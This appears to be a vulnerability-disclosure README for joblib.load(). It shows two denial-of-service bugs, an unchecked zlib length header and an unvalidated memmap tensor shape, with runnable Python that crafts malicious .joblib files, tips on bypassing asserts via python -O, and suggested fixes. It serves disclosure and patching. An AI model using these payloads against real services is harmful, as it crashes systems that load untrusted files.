YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Joblib Format Parsing Vulnerability PoC
Description
This repository contains Proof-of-Concept files demonstrating input-validation vulnerabilities in joblib.load() that lead to Memory Corruption and Denial of Service via Out-of-Memory (OOM) exhaustion and Virtual Address Space (VAS) exhaustion.
The vulnerabilities are located in joblib's own binary format parsers β they are triggered solely by parsing attacker-controlled file fields, prior to any application-level logic.
| File | Bug | Impact |
|---|---|---|
dos_zlib_oom.joblib |
Unchecked ZFile header length field passed as zlib.decompress() buffer size |
OOM / process crash |
dos_mmap_virt.joblib |
Unvalidated tensor shape from file passed directly to numpy.memmap |
VAS exhaustion / process crash |
Product: joblib
Tested Version: 1.5.0 (all prior versions affected)
CVE: Pending
Severity: High (CVSS 7.5) β Denial of Service, no authentication required
CWE: CWE-789 (Uncontrolled Memory Allocation), CWE-400 (Uncontrolled Resource Consumption)
Disclaimer
For educational and security research purposes only.
These files and techniques are provided solely to assist library maintainers in reproducing, understanding, and fixing the reported vulnerabilities. Do not use against systems or software without explicit written authorisation. The author assumes no liability for misuse.
Prerequisites
pip install joblib numpy # tested on joblib 1.5.0, numpy 1.26.4, Python 3.11
Reproduction Steps
Bug A β OOM via Unchecked ZFile Header (dos_zlib_oom.joblib)
The legacy ZFile format stores the expected decompressed length as a 20-character ASCII hex field. read_zfile() in numpy_pickle_compat.py passes this value without any upper-bound check as the bufsize argument to zlib.decompress(), causing CPython to allocate a buffer of attacker-specified size before any decompression occurs.
Step 1 β Trigger with assertions enabled (baseline)
python3 -c "import joblib; joblib.load('dos_zlib_oom.joblib')"
Expected:
AssertionError: Incorrect data length while decompressing ...
The assert len(data) == length guard fires. This is the only bounds check in the code path.
Step 2 β Bypass the assert with -O (production deployments)
python3 -O -c "import joblib; joblib.load('dos_zlib_oom.joblib')"
Expected:
KeyError: 0
Python's -O flag strips all assert statements at compile time. Execution continues past the length mismatch with corrupt decompressed data. In a real-world payload where the content decompresses to exactly HUGE_LEN bytes, CPython allocates the full buffer β MemoryError / OOM-kill with no remaining guard.
Step 3 β Full OOM trigger (9 EB header)
python3 -c "
import io, zlib, joblib
from joblib.numpy_pickle_compat import _ZFILE_PREFIX, _MAX_LEN
HUGE = 0x7fffffffffffffff
hf = '{:#x}'.format(HUGE).ljust(_MAX_LEN).encode('latin1')
payload = _ZFILE_PREFIX + hf + zlib.compress(b'\x00' * 4096, 1)
open('/tmp/oom_full.joblib', 'wb').write(payload)
joblib.load('/tmp/oom_full.joblib')
"
Expected: MemoryError or OOM-kill by the OS.
Bug B β VAS Exhaustion via Unvalidated Tensor Shape (dos_mmap_virt.joblib)
NumpyArrayWrapper is a metadata record embedded in the joblib stream that describes a stored tensor. When loading with mmap_mode != None, read_mmap() in numpy_pickle.py calls numpy.memmap using self.shape and self.dtype directly from the parsed record β without verifying that prod(shape) x itemsize fits within the remaining bytes of the file.
Step 1 β Trigger with the provided PoC file
python3 -c "import joblib; joblib.load('dos_mmap_virt.joblib', mmap_mode='r')"
Expected:
ValueError: mmap length is greater than file size
This exception is raised by numpy.memmap after joblib passes the unvalidated shape to the OS mapping layer β confirming the value travels from the file to mmap(2) without any bounds check in joblib.
Step 2 β Full VAS exhaustion (64-bit host)
# Create a 4 GiB sparse file (no disk space consumed on most filesystems):
truncate -s 4294967296 /tmp/large_stub.bin
python3 -c "
import io, joblib, numpy as np
from joblib.numpy_pickle import NumpyArrayWrapper, NumpyPickler
w = NumpyArrayWrapper(np.ndarray, (2**30,), 'C', np.dtype('float32'), True, 16)
buf = io.BytesIO()
NumpyPickler(buf, protocol=4).dump(w)
buf.write(b'\x00')
buf.write(b'\xAB' * 16)
open('/tmp/vas_exploit.joblib', 'wb').write(buf.getvalue())
joblib.load('/tmp/vas_exploit.joblib', mmap_mode='r')
"
Expected: OS creates a 4 GiB virtual mapping β VAS exhaustion β process crash or system instability.
Vulnerable Code Locations
Bug A
joblib/numpy_pickle_compat.py β read_zfile(), lines 36β56
length = int(length, 16) # no upper-bound check
data = zlib.decompress(file_handle.read(), 15, length) # allocates 'length' bytes upfront
assert len(data) == length # stripped by python -O
Bug B
joblib/numpy_pickle.py β NumpyArrayWrapper.read_mmap(), lines 215β237
marray = make_memmap(
unpickler.filename,
dtype=self.dtype,
shape=self.shape, # from file β never validated against remaining file bytes
...
)
Recommended Fixes
Bug A: Add an explicit upper-bound check before zlib.decompress(); replace assert with an unconditional if/raise.
MAX_DECOMPRESSED = 2 * 1024 ** 3
if length > MAX_DECOMPRESSED:
raise ValueError(f"Declared decompressed length {length} exceeds limit")
Bug B: Validate prod(shape) * itemsize against os.fstat().st_size - offset before calling make_memmap().
import math, os
logical_bytes = math.prod(self.shape) * np.dtype(self.dtype).itemsize
remaining = os.fstat(unpickler.file_handle.fileno()).st_size - current_pos
if logical_bytes > remaining:
raise ValueError(f"Declared tensor size {logical_bytes} B exceeds file content ({remaining} B)")
All testing was performed in a local, isolated sandboxed environment.
No production systems were accessed or harmed during this research.